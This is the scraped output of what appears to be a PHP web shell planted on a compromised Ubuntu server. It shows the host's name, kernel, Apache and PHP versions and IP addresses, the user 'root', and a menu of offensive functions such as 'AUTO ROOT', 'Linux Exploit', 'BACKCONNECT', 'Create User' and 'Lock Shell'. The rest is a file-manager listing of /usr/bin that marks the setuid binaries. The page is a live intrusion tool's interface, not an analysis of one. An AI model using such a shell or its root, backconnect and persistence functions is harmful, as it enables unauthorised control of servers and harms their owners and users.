Linux vmi284606.contaboserver.net 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
Apache/2.4.57 (Ubuntu)
: 167.86.127.34 | : 216.73.217.1
Cant Read [ /etc/named.conf ]
7.2.24-0ubuntu0.18.04.17
root
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
bin /
[ HOME SHELL ]
Name
Size
Permission
Action
X11
[ DIR ]
drwxr-xr-x
7z
39
B
-rwxr-xr-x
7za
40
B
-rwxr-xr-x
7zr
40
B
-rwxr-xr-x
GET
15.84
KB
-rwxr-xr-x
HEAD
15.84
KB
-rwxr-xr-x
POST
15.84
KB
-rwxr-xr-x
[
50.18
KB
-rwxr-xr-x
aa-enabled
22.16
KB
-rwxr-xr-x
aa-exec
22.16
KB
-rwxr-xr-x
ab
58.18
KB
-rwxr-xr-x
acpi_listen
14.27
KB
-rwxr-xr-x
add-apt-repository
7.24
KB
-rwxr-xr-x
addpart
22.08
KB
-rwxr-xr-x
appres
9.99
KB
-rwxr-xr-x
apropos
46.98
KB
-rwxr-xr-x
apt
14.09
KB
-rwxr-xr-x
apt-add-repository
7.24
KB
-rwxr-xr-x
apt-cache
78.16
KB
-rwxr-xr-x
apt-cdrom
22.16
KB
-rwxr-xr-x
apt-config
22.09
KB
-rwxr-xr-x
apt-extracttemplates
22.16
KB
-rwxr-xr-x
apt-ftparchive
234.16
KB
-rwxr-xr-x
apt-get
42.16
KB
-rwxr-xr-x
apt-key
26.75
KB
-rwxr-xr-x
apt-mark
42.16
KB
-rwxr-xr-x
apt-sortpkgs
42.09
KB
-rwxr-xr-x
arch
34.21
KB
-rwxr-xr-x
arj
437.04
KB
-rwxr-xr-x
arj-register
14.87
KB
-rwxr-xr-x
arjdisp
15.05
KB
-rwxr-xr-x
aspell
150.34
KB
-rwxr-xr-x
aspell-import
2
KB
-rwxr-xr-x
autoexpect
7.53
KB
-rwxr-xr-x
autopasswd
378
B
-rwxr-xr-x
awk
122.48
KB
-rwxr-xr-x
b2sum
54.21
KB
-rwxr-xr-x
base32
38.18
KB
-rwxr-xr-x
base64
38.18
KB
-rwxr-xr-x
basename
34.18
KB
-rwxr-xr-x
bashbug
6.95
KB
-rwxr-xr-x
bootctl
34.13
KB
-rwxr-xr-x
broadwayd
114.08
KB
-rwxr-xr-x
bsd-from
9.99
KB
-rwxr-xr-x
bsd-write
13.99
KB
-rwxr-sr-x
busctl
66.09
KB
-rwxr-xr-x
c_rehash
6.65
KB
-rwxr-xr-x
cabextract
26.51
KB
-rwxr-xr-x
cal
28.79
KB
-rwxr-xr-x
calendar
30.48
KB
-rwxr-xr-x
captoinfo
82.11
KB
-rwxr-xr-x
catchsegv
3.25
KB
-rwxr-xr-x
catman
38.46
KB
-rwxr-xr-x
cautious-launcher
853
B
-rwxr-xr-x
certbot
385
B
-rwxr-xr-x
chage
70.13
KB
-rwxr-sr-x
chardet3
389
B
-rwxr-xr-x
chardetect3
389
B
-rwxr-xr-x
chattr
14
KB
-rwxr-xr-x
chcon
62.18
KB
-rwxr-xr-x
check-language-support
2.71
KB
-rwxr-xr-x
checkgid
5.99
KB
-rwxr-xr-x
chfn
74.7
KB
-rwsr-xr-x
chrt
30.08
KB
-rwxr-xr-x
chsh
43.48
KB
-rwsr-xr-x
ckbcomp
146.33
KB
-rwxr-xr-x
cksum
34.18
KB
-rwxr-xr-x
clear
10
KB
-rwxr-xr-x
clear_console
10.07
KB
-rwxr-xr-x
cmp
46.09
KB
-rwxr-xr-x
codepage
13.99
KB
-rwxr-xr-x
col
9.99
KB
-rwxr-xr-x
colcrt
10
KB
-rwxr-xr-x
colrm
9.99
KB
-rwxr-xr-x
column
14.01
KB
-rwxr-xr-x
comm
38.21
KB
-rwxr-xr-x
compose
17.74
KB
-rwxr-xr-x
composer
1.54
KB
-rwxr-xr-x
corelist
12.53
KB
-rwxr-xr-x
cpan
7.96
KB
-rwxr-xr-x
cpan5.26-x86_64-linux-gnu
7.99
KB
-rwxr-xr-x
cpp
1022.94
KB
-rwxr-xr-x
cpp-7
1022.94
KB
-rwxr-xr-x
crontab
38.43
KB
-rwxr-sr-x
cryptdir
1.44
KB
-rwxr-xr-x
csplit
50.21
KB
-rwxr-xr-x
ctstat
22.35
KB
-rwxr-xr-x
curl
218.07
KB
-rwxr-xr-x
cut
42.21
KB
-rwxr-xr-x
dbus-cleanup-sockets
9.98
KB
-rwxr-xr-x
dbus-daemon
231.04
KB
-rwxr-xr-x
dbus-monitor
21.99
KB
-rwxr-xr-x
dbus-run-session
9.98
KB
-rwxr-xr-x
dbus-send
25.98
KB
-rwxr-xr-x
dbus-update-activation-environ...
13.98
KB
-rwxr-xr-x
dbus-uuidgen
9.98
KB
-rwxr-xr-x
deallocvt
10.07
KB
-rwxr-xr-x
deb-systemd-helper
19.67
KB
-rwxr-xr-x
deb-systemd-invoke
4.33
KB
-rwxr-xr-x
debconf
2.79
KB
-rwxr-xr-x
debconf-apt-progress
11.27
KB
-rwxr-xr-x
debconf-communicate
608
B
-rwxr-xr-x
debconf-copydb
1.68
KB
-rwxr-xr-x
debconf-escape
647
B
-rwxr-xr-x
debconf-set-selections
2.87
KB
-rwxr-xr-x
debconf-show
1.78
KB
-rwxr-xr-x
debian-distro-info
18.59
KB
-rwxr-xr-x
decryptdir
1.44
KB
-rwxr-xr-x
delpart
22.08
KB
-rwxr-xr-x
delv
40.86
KB
-rwxr-xr-x
desktop-file-edit
88.03
KB
-rwxr-xr-x
desktop-file-install
88.03
KB
-rwxr-xr-x
desktop-file-validate
76.26
KB
-rwxr-xr-x
dh_bash-completion
2.49
KB
-rwxr-xr-x
dh_perl_openssl
1.36
KB
-rwxr-xr-x
diff
142.34
KB
-rwxr-xr-x
diff3
62.21
KB
-rwxr-xr-x
dig
146.51
KB
-rwxr-xr-x
dircolors
46.19
KB
-rwxr-xr-x
dirmngr
533.55
KB
-rwxr-xr-x
dirmngr-client
106.76
KB
-rwxr-xr-x
dirname
30.18
KB
-rwxr-xr-x
dislocate
7.75
KB
-rwxr-xr-x
distro-info
18.59
KB
-rwxr-xr-x
do-release-upgrade
9.39
KB
-rwxr-xr-x
dpkg
290.5
KB
-rwxr-xr-x
dpkg-deb
150.34
KB
-rwxr-xr-x
dpkg-divert
138.41
KB
-rwxr-xr-x
dpkg-maintscript-helper
18.58
KB
-rwxr-xr-x
dpkg-query
146.4
KB
-rwxr-xr-x
dpkg-split
118.34
KB
-rwxr-xr-x
dpkg-statoverride
70.25
KB
-rwxr-xr-x
dpkg-trigger
66.26
KB
-rwxr-xr-x
du
98.21
KB
-rwxr-xr-x
dumpkeys
166.52
KB
-rwxr-xr-x
edit
17.74
KB
-rwxr-xr-x
editor
240.11
KB
-rwxr-xr-x
editres
68.4
KB
-rwxr-xr-x
eject
30.69
KB
-rwxr-xr-x
enc2xs
41.17
KB
-rwxr-xr-x
encguess
2.99
KB
-rwxr-xr-x
enchant
18.07
KB
-rwxr-xr-x
enchant-lsmod
9.99
KB
-rwxr-xr-x
env
34.18
KB
-rwxr-xr-x
envsubst
34.08
KB
-rwxr-xr-x
eqn
193.19
KB
-rwxr-xr-x
ex
2.55
MB
-rwxr-xr-x
expand
38.21
KB
-rwxr-xr-x
expect
10
KB
-rwxr-xr-x
expect_autoexpect
7.53
KB
-rwxr-xr-x
expect_autopasswd
378
B
-rwxr-xr-x
expect_cryptdir
1.44
KB
-rwxr-xr-x
expect_decryptdir
1.44
KB
-rwxr-xr-x
expect_dislocate
7.75
KB
-rwxr-xr-x
expect_ftp-rfc
686
B
-rwxr-xr-x
expect_kibitz
10.63
KB
-rwxr-xr-x
expect_lpunlock
2.56
KB
-rwxr-xr-x
expect_mkpasswd
5.26
KB
-rwxr-xr-x
expect_multixterm
29.78
KB
-rwxr-xr-x
expect_passmass
4.45
KB
-rwxr-xr-x
expect_rftp
8.68
KB
-rwxr-xr-x
expect_rlogin-cwd
504
B
-rwxr-xr-x
expect_timed-read
306
B
-rwxr-xr-x
expect_timed-run
280
B
-rwxr-xr-x
expect_tknewsbiff
11.12
KB
-rwxr-xr-x
expect_tkpasswd
16.18
KB
-rwxr-xr-x
expect_unbuffer
643
B
-rwxr-xr-x
expect_weather
2.03
KB
-rwxr-xr-x
expect_xkibitz
4.75
KB
-rwxr-xr-x
expect_xpstat
6.45
KB
-rwxr-xr-x
expiry
22.27
KB
-rwxr-sr-x
expr
46.18
KB
-rwxr-xr-x
factor
74.21
KB
-rwxr-xr-x
faillog
18.29
KB
-rwxr-xr-x
fallocate
26.08
KB
-rwxr-xr-x
fc-cache
14.07
KB
-rwxr-xr-x
fc-cat
14.07
KB
-rwxr-xr-x
fc-list
10.07
KB
-rwxr-xr-x
fc-match
10.07
KB
-rwxr-xr-x
fc-pattern
10.07
KB
-rwxr-xr-x
fc-query
10.07
KB
-rwxr-xr-x
fc-scan
10.07
KB
-rwxr-xr-x
fc-validate
10.07
KB
-rwxr-xr-x
fcgistarter
9.99
KB
-rwxr-xr-x
file
22.26
KB
-rwxr-xr-x
file-roller
505.57
KB
-rwxr-xr-x
find
232.5
KB
-rwxr-xr-x
flock
30.16
KB
-rwxr-xr-x
fmt
42.18
KB
-rwxr-xr-x
fold
34.18
KB
-rwxr-xr-x
free
18.08
KB
-rwxr-xr-x
from
9.99
KB
-rwxr-xr-x
ftp
98.7
KB
-rwxr-xr-x
ftp-rfc
686
B
-rwxr-xr-x
funzip
21.99
KB
-rwxr-xr-x
futurize
384
B
-rwxr-xr-x
gdk-pixbuf-thumbnailer
14.08
KB
-rwxr-xr-x
gen-preseed
2.51
KB
-rwxr-xr-x
geqn
193.19
KB
-rwxr-xr-x
getconf
30.13
KB
-rwxr-xr-x
getent
30.49
KB
-rwxr-xr-x
getkeycodes
10.07
KB
-rwxr-xr-x
getopt
14.07
KB
-rwxr-xr-x
gettext
34.08
KB
-rwxr-xr-x
gettext.sh
4.52
KB
-rwxr-xr-x
ginstall-info
43.09
KB
-rwxr-xr-x
git
2.27
MB
-rwxr-xr-x
git-receive-pack
2.27
MB
-rwxr-xr-x
git-shell
1.26
MB
-rwxr-xr-x
git-upload-archive
2.27
MB
-rwxr-xr-x
git-upload-pack
1.27
MB
-rwxr-xr-x
gnome-help
54.07
KB
-rwxr-xr-x
google-drive-ocamlfuse
6.68
MB
-rwxr-xr-x
gpasswd
74.05
KB
-rwsr-xr-x
gpg
997.6
KB
-rwxr-xr-x
gpg-agent
392.7
KB
-rwxr-xr-x
gpg-connect-agent
154.85
KB
-rwxr-xr-x
gpg-wks-server
187.02
KB
-rwxr-xr-x
gpg-zip
3.36
KB
-rwxr-xr-x
gpgconf
166.32
KB
-rwxr-xr-x
gpgparsemail
26.07
KB
-rwxr-xr-x
gpgsm
491.09
KB
-rwxr-xr-x
gpgsplit
78.45
KB
-rwxr-xr-x
gpgv
427.02
KB
-rwxr-xr-x
gpic
204.03
KB
-rwxr-xr-x
groff
105.31
KB
-rwxr-xr-x
grog
2.71
KB
-rwxr-xr-x
grops
165.72
KB
-rwxr-xr-x
grotty
121.34
KB
-rwxr-xr-x
groups
34.18
KB
-rwxr-xr-x
grub-editenv
239.93
KB
-rwxr-xr-x
grub-file
659.79
KB
-rwxr-xr-x
grub-fstest
789.65
KB
-rwxr-xr-x
grub-glue-efi
235.77
KB
-rwxr-xr-x
grub-kbdcomp
1.64
KB
-rwxr-xr-x
grub-menulst2cfg
216.04
KB
-rwxr-xr-x
grub-mkfont
264.34
KB
-rwxr-xr-x
grub-mkimage
328.84
KB
-rwxr-xr-x
grub-mklayout
240.09
KB
-rwxr-xr-x
grub-mknetdir
373.41
KB
-rwxr-xr-x
grub-mkpasswd-pbkdf2
244.12
KB
-rwxr-xr-x
grub-mkrelpath
235.49
KB
-rwxr-xr-x
grub-mkrescue
822.23
KB
-rwxr-xr-x
grub-mkstandalone
449.74
KB
-rwxr-xr-x
grub-mount
608.21
KB
-rwxr-xr-x
grub-ntldr-img
38.16
KB
-rwxr-xr-x
grub-render-label
676.16
KB
-rwxr-xr-x
grub-script-check
259.62
KB
-rwxr-xr-x
grub-syslinux2cfg
624.68
KB
-rwxr-xr-x
gtbl
126.2
KB
-rwxr-xr-x
gtk-builder-tool
26.42
KB
-rwxr-xr-x
gtk-launch
14.15
KB
-rwxr-xr-x
gtk-query-settings
9.99
KB
-rwxr-xr-x
gtk-update-icon-cache
30.47
KB
-rwxr-xr-x
h2ph
28.54
KB
-rwxr-xr-x
h2xs
59.44
KB
-rwxr-xr-x
hd
26.1
KB
-rwxr-xr-x
head
42.21
KB
-rwxr-xr-x
helpztags
2.46
KB
-rwxr-xr-x
hexdump
26.1
KB
-rwxr-xr-x
host
126.66
KB
-rwxr-xr-x
hostid
30.18
KB
-rwxr-xr-x
hostnamectl
18.07
KB
-rwxr-xr-x
htcacheclean
30
KB
-rwxr-xr-x
htdbm
21.99
KB
-rwxr-xr-x
htdigest
13.99
KB
-rwxr-xr-x
htpasswd
17.99
KB
-rwxr-xr-x
hwe-support-status
10.58
KB
-rwxr-xr-x
i386
18.34
KB
-rwxr-xr-x
iconv
62.25
KB
-rwxr-xr-x
id
42.21
KB
-rwxr-xr-x
info
245.72
KB
-rwxr-xr-x
infobrowser
245.72
KB
-rwxr-xr-x
infocmp
58.07
KB
-rwxr-xr-x
infotocap
82.11
KB
-rwxr-xr-x
innochecksum
3.52
MB
-rwxr-xr-x
install
142.25
KB
-rwxr-xr-x
install-info
43.09
KB
-rwxr-xr-x
instmodsh
4.27
KB
-rwxr-xr-x
ionice
26.08
KB
-rwxr-xr-x
ipcmk
26.14
KB
-rwxr-xr-x
ipcrm
26.08
KB
-rwxr-xr-x
ipcs
50.08
KB
-rwxr-xr-x
iptables-xml
92.74
KB
-rwxr-xr-x
ischroot
10.04
KB
-rwxr-xr-x
ispell-wrapper
7.05
KB
-rwxr-xr-x
join
46.21
KB
-rwxr-xr-x
json_pp
3.87
KB
-rwxr-xr-x
jsonlint-php
2.61
KB
-rwxr-xr-x
kbdinfo
14.07
KB
-rwxr-xr-x
kbxutil
158.69
KB
-rwxr-xr-x
kernel-install
4.4
KB
-rwxr-xr-x
kibitz
10.63
KB
-rwxr-xr-x
killall
27.12
KB
-rwxr-xr-x
laptop-detect
3.73
KB
-rwxr-xr-x
last
42.08
KB
-rwxr-xr-x
lastb
42.08
KB
-rwxr-xr-x
lastlog
18.07
KB
-rwxr-xr-x
lcf
7.6
KB
-rwxr-xr-x
ldd
5.29
KB
-rwxr-xr-x
less
166.76
KB
-rwxr-xr-x
lessecho
10.02
KB
-rwxr-xr-x
lessfile
8.36
KB
-rwxr-xr-x
lesskey
19.39
KB
-rwxr-xr-x
lesspipe
8.36
KB
-rwxr-xr-x
letsencrypt
385
B
-rwxr-xr-x
lexgrog
90.57
KB
-rwxr-xr-x
libnetcfg
15.41
KB
-rwxr-xr-x
link
30.18
KB
-rwxr-xr-x
linux-boot-prober
1.54
KB
-rwxr-xr-x
linux-check-removal
3.99
KB
-rwxr-xr-x
linux-update-symlinks
6.17
KB
-rwxr-xr-x
linux-version
2.63
KB
-rwxr-xr-x
linux32
18.34
KB
-rwxr-xr-x
linux64
18.34
KB
-rwxr-xr-x
listres
10.41
KB
-rwxr-xr-x
lnstat
22.35
KB
-rwxr-xr-x
loadkeys
206.57
KB
-rwxr-xr-x
loadunimap
26.13
KB
-rwxr-xr-x
locale
49.41
KB
-rwxr-xr-x
locale-check
10
KB
-rwxr-xr-x
localectl
22.07
KB
-rwxr-xr-x
localedef
330.8
KB
-rwxr-xr-x
locate
42.08
KB
-rwxr-sr-x
logger
46.67
KB
-rwxr-xr-x
logname
30.18
KB
-rwxr-xr-x
logresolve
10
KB
-rwxr-xr-x
look
10.23
KB
-rwxr-xr-x
lorder
2.82
KB
-rwxr-xr-x
lpunlock
2.56
KB
-rwxr-xr-x
lsattr
10
KB
-rwxr-xr-x
lsb_release
3.55
KB
-rwxr-xr-x
lscpu
70.08
KB
-rwxr-xr-x
lshw
682.95
KB
-rwxr-xr-x
lsinitramfs
625
B
-rwxr-xr-x
lsipc
70.08
KB
-rwxr-xr-x
lslocks
34.41
KB
-rwxr-xr-x
lslogins
62.08
KB
-rwxr-xr-x
lsmem
42.08
KB
-rwxr-xr-x
lsns
38.08
KB
-rwxr-xr-x
lsof
159.4
KB
-rwxr-xr-x
lspci
79.67
KB
-rwxr-xr-x
lspgpot
1.06
KB
-rwxr-xr-x
lsusb
114.43
KB
-rwxr-xr-x
ltrace
325.21
KB
-rwxr-xr-x
luit
48.12
KB
-rwxr-xr-x
lwp-download
10.05
KB
-rwxr-xr-x
lwp-dump
2.65
KB
-rwxr-xr-x
lwp-mirror
2.36
KB
-rwxr-xr-x
lwp-request
15.84
KB
-rwxr-xr-x
lzcat
74.36
KB
-rwxr-xr-x
lzcmp
6.48
KB
-rwxr-xr-x
lzdiff
6.48
KB
-rwxr-xr-x
lzegrep
5.76
KB
-rwxr-xr-x
lzfgrep
5.76
KB
-rwxr-xr-x
lzgrep
5.76
KB
-rwxr-xr-x
lzless
1.76
KB
-rwxr-xr-x
lzma
74.36
KB
-rwxr-xr-x
lzmainfo
10.07
KB
-rwxr-xr-x
lzmore
2.11
KB
-rwxr-xr-x
man
104.5
KB
-rwxr-xr-x
mandb
126.72
KB
-rwxr-xr-x
manpath
30.47
KB
-rwxr-xr-x
mapscrn
22.13
KB
-rwxr-xr-x
mawk
122.48
KB
-rwxr-xr-x
mcookie
30.14
KB
-rwxr-xr-x
md5sum
42.21
KB
-rwxr-xr-x
md5sum.textutils
42.21
KB
-rwxr-xr-x
mdig
42.13
KB
-rwxr-xr-x
mesg
10.07
KB
-rwxr-xr-x
migrate-pubring-from-classic-g...
2.14
KB
-rwxr-xr-x
mk_modmap
15.78
KB
-rwxr-xr-x
mkfifo
62.18
KB
-rwxr-xr-x
mlocate
42.08
KB
-rwxr-sr-x
mlock
9.99
KB
-rwxr-sr-x
mpack
26.04
KB
-rwxr-xr-x
mtr
71.94
KB
-rwxr-xr-x
mtr-packet
25.99
KB
-rwxr-xr-x
multixterm
29.78
KB
-rwxr-xr-x
munpack
45.95
KB
-rwxr-xr-x
my_print_defaults
3.45
MB
-rwxr-xr-x
myisam_ftdump
3.75
MB
-rwxr-xr-x
myisamchk
3.85
MB
-rwxr-xr-x
myisamlog
3.73
MB
-rwxr-xr-x
myisampack
3.78
MB
-rwxr-xr-x
mysql
3.81
MB
-rwxr-xr-x
mysql_config_editor
3.46
MB
-rwxr-xr-x
mysql_embedded
21.17
MB
-rwxr-xr-x
mysql_install_db
5.01
MB
-rwxr-xr-x
mysql_plugin
3.45
MB
-rwxr-xr-x
mysql_secure_installation
3.69
MB
-rwxr-xr-x
mysql_ssl_rsa_setup
3.49
MB
-rwxr-xr-x
mysql_tzinfo_to_sql
3.4
MB
-rwxr-xr-x
mysql_upgrade
4.32
MB
-rwxr-xr-x
mysqladmin
3.71
MB
-rwxr-xr-x
mysqlanalyze
3.73
MB
-rwxr-xr-x
mysqlbinlog
3.96
MB
-rwxr-xr-x
mysqlcheck
3.73
MB
-rwxr-xr-x
mysqld_multi
26.3
KB
-rwxr-xr-x
mysqld_safe
27.16
KB
-rwxr-xr-x
mysqldump
3.78
MB
-rwxr-xr-x
mysqldumpslow
7.66
KB
-rwxr-xr-x
mysqlimport
3.7
MB
-rwxr-xr-x
mysqloptimize
3.73
MB
-rwxr-xr-x
mysqlpump
4.17
MB
-rwxr-xr-x
mysqlrepair
3.73
MB
-rwxr-xr-x
mysqlreport
38.1
KB
-rwxr-xr-x
mysqlshow
3.7
MB
-rwxr-xr-x
mysqlslap
3.71
MB
-rwxr-xr-x
namei
26.08
KB
-rwxr-xr-x
nawk
122.48
KB
-rwxr-xr-x
ncal
28.79
KB
-rwxr-xr-x
neqn
908
B
-rwxr-xr-x
netkit-ftp
98.7
KB
-rwxr-xr-x
networkd-dispatcher
19.53
KB
-rwxr-xr-x
newgrp
39.4
KB
-rwsr-xr-x
ngettext
34.08
KB
-rwxr-xr-x
nice
34.18
KB
-rwxr-xr-x
nl
42.27
KB
-rwxr-xr-x
nohup
34.18
KB
-rwxr-xr-x
nproc
34.18
KB
-rwxr-xr-x
nroff
3.25
KB
-rwxr-xr-x
nsenter
30.28
KB
-rwxr-xr-x
nslookup
130.51
KB
-rwxr-xr-x
nstat
26.07
KB
-rwxr-xr-x
nsupdate
66.02
KB
-rwxr-xr-x
ntfsdecrypt
46.12
KB
-rwxr-xr-x
numfmt
62.24
KB
-rwxr-xr-x
od
66.21
KB
-rwxr-xr-x
on_ac_power
2.16
KB
-rwxr-xr-x
openssl
706.98
KB
-rwxr-xr-x
os-prober
4.44
KB
-rwxr-xr-x
p7zip
4.64
KB
-rwxr-xr-x
pager
166.76
KB
-rwxr-xr-x
partx
86.08
KB
-rwxr-xr-x
passmass
4.45
KB
-rwxr-xr-x
passwd
58.24
KB
-rwsr-xr-x
paste
34.21
KB
-rwxr-xr-x
pasteurize
388
B
-rwxr-xr-x
patch
178.37
KB
-rwxr-xr-x
pathchk
34.18
KB
-rwxr-xr-x
pbr
152
B
-rwxr-xr-x
pcimodules
14.13
KB
-rwxr-xr-x
pdb3
59.87
KB
-rwxr-xr-x
pdb3.6
59.87
KB
-rwxr-xr-x
pear
793
B
-rwxr-xr-x
peardev
814
B
-rwxr-xr-x
pecl
727
B
-rwxr-xr-x
peekfd
13.99
KB
-rwxr-xr-x
perl
2
MB
-rwxr-xr-x
perl5.26-x86_64-linux-gnu
9.98
KB
-rwxr-xr-x
perl5.26.1
2
MB
-rwxr-xr-x
perlbug
44.78
KB
-rwxr-xr-x
perldoc
125
B
-rwxr-xr-x
perlivp
10.61
KB
-rwxr-xr-x
perlthanks
44.78
KB
-rwxr-xr-x
perror
3.58
MB
-rwxr-xr-x
pftp
98.7
KB
-rwxr-xr-x
pgrep
26.09
KB
-rwxr-xr-x
phar
14.47
KB
-rwxr-xr-x
phar.phar
14.47
KB
-rwxr-xr-x
phar.phar7.2
14.47
KB
-rwxr-xr-x
phar7.2
14.47
KB
-rwxr-xr-x
php
4.68
MB
-rwxr-xr-x
php7.2
4.68
MB
-rwxr-xr-x
pic
204.03
KB
-rwxr-xr-x
pico
240.11
KB
-rwxr-xr-x
piconv
8.16
KB
-rwxr-xr-x
pinentry
62.49
KB
-rwxr-xr-x
pinentry-curses
62.49
KB
-rwxr-xr-x
pinky
38.21
KB
-rwxr-xr-x
pkaction
13.99
KB
-rwxr-xr-x
pkcheck
18.07
KB
-rwxr-xr-x
pkexec
21.99
KB
-rwsr-xr-x
pkill
26.09
KB
-rwxr-xr-x
pkttyagent
13.99
KB
-rwxr-xr-x
pl2pm
4.43
KB
-rwxr-xr-x
pldd
14.22
KB
-rwxr-xr-x
pmap
30.09
KB
-rwxr-xr-x
pod2html
4.04
KB
-rwxr-xr-x
pod2man
14.73
KB
-rwxr-xr-x
pod2text
10.72
KB
-rwxr-xr-x
pod2usage
3.86
KB
-rwxr-xr-x
podchecker
3.57
KB
-rwxr-xr-x
podselect
2.47
KB
-rwxr-xr-x
pr
70.27
KB
-rwxr-xr-x
precat
5.52
KB
-rwxr-xr-x
preconv
46.2
KB
-rwxr-xr-x
preunzip
5.52
KB
-rwxr-xr-x
prezip
5.52
KB
-rwxr-xr-x
prezip-bin
9.99
KB
-rwxr-xr-x
print
17.74
KB
-rwxr-xr-x
printenv
30.18
KB
-rwxr-xr-x
printerbanner
22
KB
-rwxr-xr-x
printf
50.18
KB
-rwxr-xr-x
prlimit
34.59
KB
-rwxr-xr-x
pro
442
B
-rwxr-xr-x
prove
13.27
KB
-rwxr-xr-x
prtstat
18.07
KB
-rwxr-xr-x
psfaddtable
17.99
KB
-rwxr-xr-x
psfgettable
17.99
KB
-rwxr-xr-x
psfstriptable
17.99
KB
-rwxr-xr-x
psfxtable
17.99
KB
-rwxr-xr-x
pslog
9.99
KB
-rwxr-xr-x
pstree
26.95
KB
-rwxr-xr-x
pstree.x11
26.95
KB
-rwxr-xr-x
ptar
3.47
KB
-rwxr-xr-x
ptardiff
2.57
KB
-rwxr-xr-x
ptargrep
4.29
KB
-rwxr-xr-x
ptx
70.24
KB
-rwxr-xr-x
pwdx
10.07
KB
-rwxr-xr-x
py3clean
7.63
KB
-rwxr-xr-x
py3compile
11.83
KB
-rwxr-xr-x
py3versions
11.44
KB
-rwxr-xr-x
pydoc3
79
B
-rwxr-xr-x
pydoc3.6
79
B
-rwxr-xr-x
pygettext3
21.04
KB
-rwxr-xr-x
pygettext3.6
21.04
KB
-rwxr-xr-x
python3
4.32
MB
-rwxr-xr-x
python3-futurize
384
B
-rwxr-xr-x
python3-pasteurize
388
B
-rwxr-xr-x
python3-pbr
152
B
-rwxr-xr-x
python3.6
4.32
MB
-rwxr-xr-x
python3.6m
4.32
MB
-rwxr-xr-x
python3m
4.32
MB
-rwxr-xr-x
rar
528.8
KB
-rwxr-xr-x
rcp
98.14
KB
-rwxr-xr-x
rdma
26.07
KB
-rwxr-xr-x
realpath
46.21
KB
-rwxr-xr-x
rearj
77.17
KB
-rwxr-xr-x
rename.ul
14.07
KB
-rwxr-xr-x
renice
14.07
KB
-rwxr-xr-x
replace
3.42
MB
-rwxr-xr-x
report-hw
2.05
KB
-rwxr-xr-x
reset
22
KB
-rwxr-xr-x
resizecons
18.13
KB
-rwxr-xr-x
resizepart
38.08
KB
-rwxr-xr-x
resolveip
3.44
MB
-rwxr-xr-x
rev
10.07
KB
-rwxr-xr-x
rgrep
30
B
-rwxr-xr-x
rlogin
710.79
KB
-rwxr-xr-x
rlogin-cwd
504
B
-rwxr-xr-x
rotatelogs
18.07
KB
-rwxr-xr-x
routef
208
B
-rwxr-xr-x
routel
1.62
KB
-rwxr-xr-x
rsh
710.79
KB
-rwxr-xr-x
rsync
496.43
KB
-rwxr-xr-x
rtstat
22.35
KB
-rwxr-xr-x
run-mailcap
17.74
KB
-rwxr-xr-x
run-with-aspell
57
B
-rwxr-xr-x
runcon
34.18
KB
-rwxr-xr-x
rview
2.55
MB
-rwxr-xr-x
rvim
2.55
MB
-rwxr-xr-x
savelog
10.22
KB
-rwxr-xr-x
scp
98.14
KB
-rwxr-xr-x
screendump
9.99
KB
-rwxr-xr-x
script
30.07
KB
-rwxr-xr-x
scriptreplay
26.08
KB
-rwxr-xr-x
sdiff
50.09
KB
-rwxr-xr-x
see
17.74
KB
-rwxr-xr-x
select-default-iwrap
474
B
-rwxr-xr-x
select-editor
2.38
KB
-rwxr-xr-x
sensible-browser
1.18
KB
-rwxr-xr-x
sensible-editor
1.08
KB
-rwxr-xr-x
sensible-pager
433
B
-rwxr-xr-x
seq
46.18
KB
-rwxr-xr-x
setarch
18.34
KB
-rwxr-xr-x
setkeycodes
10.07
KB
-rwxr-xr-x
setleds
14.05
KB
-rwxr-xr-x
setlogcons
10.07
KB
-rwxr-xr-x
setmetamode
10.1
KB
-rwxr-xr-x
setpci
26.08
KB
-rwxr-xr-x
setsid
10.07
KB
-rwxr-xr-x
setterm
42.08
KB
-rwxr-xr-x
sftp
150.35
KB
-rwxr-xr-x
sg
39.4
KB
-rwsr-xr-x
sha1sum
46.21
KB
-rwxr-xr-x
sha224sum
54.21
KB
-rwxr-xr-x
sha256sum
54.21
KB
-rwxr-xr-x
sha384sum
58.21
KB
-rwxr-xr-x
sha512sum
58.21
KB
-rwxr-xr-x
shar
170.03
KB
-rwxr-xr-x
shasum
9.15
KB
-rwxr-xr-x
showconsolefont
18.07
KB
-rwxr-xr-x
showkey
14.07
KB
-rwxr-xr-x
shred
58.21
KB
-rwxr-xr-x
shuf
54.18
KB
-rwxr-xr-x
skill
26.08
KB
-rwxr-xr-x
slabtop
18.08
KB
-rwxr-xr-x
slogin
710.79
KB
-rwxr-xr-x
snice
26.08
KB
-rwxr-xr-x
soelim
30.2
KB
-rwxr-xr-x
sort
110.47
KB
-rwxr-xr-x
splain
18.7
KB
-rwxr-xr-x
split
54.63
KB
-rwxr-xr-x
splitfont
9.99
KB
-rwxr-xr-x
ssh
710.79
KB
-rwxr-xr-x
ssh-add
338.13
KB
-rwxr-xr-x
ssh-agent
354.14
KB
-rwxr-sr-x
ssh-argv0
1.42
KB
-rwxr-xr-x
ssh-copy-id
10.41
KB
-rwxr-xr-x
ssh-import-id
1.73
KB
-rwxr-xr-x
ssh-import-id-gh
782
B
-rwxr-xr-x
ssh-import-id-lp
782
B
-rwxr-xr-x
ssh-keygen
410.16
KB
-rwxr-xr-x
ssh-keyscan
410.16
KB
-rwxr-xr-x
stat
78.21
KB
-rwxr-xr-x
stdbuf
46.18
KB
-rwxr-xr-x
strace
1.31
MB
-rwxr-xr-x
strace-log-merge
2.58
KB
-rwxr-xr-x
sudo
145.59
KB
-rwsr-xr-x
sudoedit
145.59
KB
-rwsr-xr-x
sudoreplay
54.81
KB
-rwxr-xr-x
sum
38.19
KB
-rwxr-xr-x
symcryptrun
110.73
KB
-rwxr-xr-x
systemd-analyze
1.49
MB
-rwxr-xr-x
systemd-cat
10.07
KB
-rwxr-xr-x
systemd-cgls
14.07
KB
-rwxr-xr-x
systemd-cgtop
30.09
KB
-rwxr-xr-x
systemd-delta
22.07
KB
-rwxr-xr-x
systemd-detect-virt
10.06
KB
-rwxr-xr-x
systemd-mount
42.09
KB
-rwxr-xr-x
systemd-path
10.06
KB
-rwxr-xr-x
systemd-resolve
86.07
KB
-rwxr-xr-x
systemd-run
42.07
KB
-rwxr-xr-x
systemd-socket-activate
18.07
KB
-rwxr-xr-x
systemd-stdio-bridge
14.07
KB
